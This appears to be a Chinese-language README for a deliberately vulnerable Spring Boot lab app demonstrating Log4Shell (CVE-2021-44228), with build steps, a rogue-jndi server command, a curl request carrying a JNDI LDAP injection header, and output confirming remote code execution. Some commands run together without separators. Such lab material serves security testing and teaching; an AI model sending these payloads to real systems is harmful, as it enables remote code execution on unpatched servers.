
这是一个几乎复制/类似的易受攻击应用程序,来源为 https://github.com/christophetd/log4shell-vulnerable-app
主要区别在于使用 maven 而不是 gradle,以及使用 rogue-jndi。
此仓库包含一个易受 CVE-2021-44228 攻击的 maven Spring Boot Web 应用程序,该漏洞被昵称为 Log4Shell。
它使用 Log4j 2.6.1 和 JDK 1.8.0_181 版本。
构建并运行 docker springboot 应用程序:
docker build . -t vulnerable-app
docker run -p 8080:8080 vulnerable-app
git clone https://github.com/veracode-research/rogue-jndicd rogue-jndimvn packagejava -jar target/RogueJndi-1.1.jar --command "touch /tmp/test_if_rce" --hostname "192.168.1.x"打开第二个终端
curl localhost:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.x:1389/o=reference}'在这两种情况下,192.168.1.x 都是你的 IP
注意:不要使用 localhost,请使用你实际的私有 IP 地址。
现在检查 RCE 是否成功:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
04536dbd1dff vulnerable-app "java -jar demo-0.0.…" 2 minutes ago Up 2 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp gallant_easley
$ docker container exec -it 04536dbd1dff ash
/opt/app # ls /tmp
hsperfdata_root tomcat-docbase.8080.4585569232401237075
test_if_rce tomcat.8080.1707298461175346507
如你所见,文件 test_if_rce 存在。这意味着 RCE 已成功。
代码和思路来自以下仓库: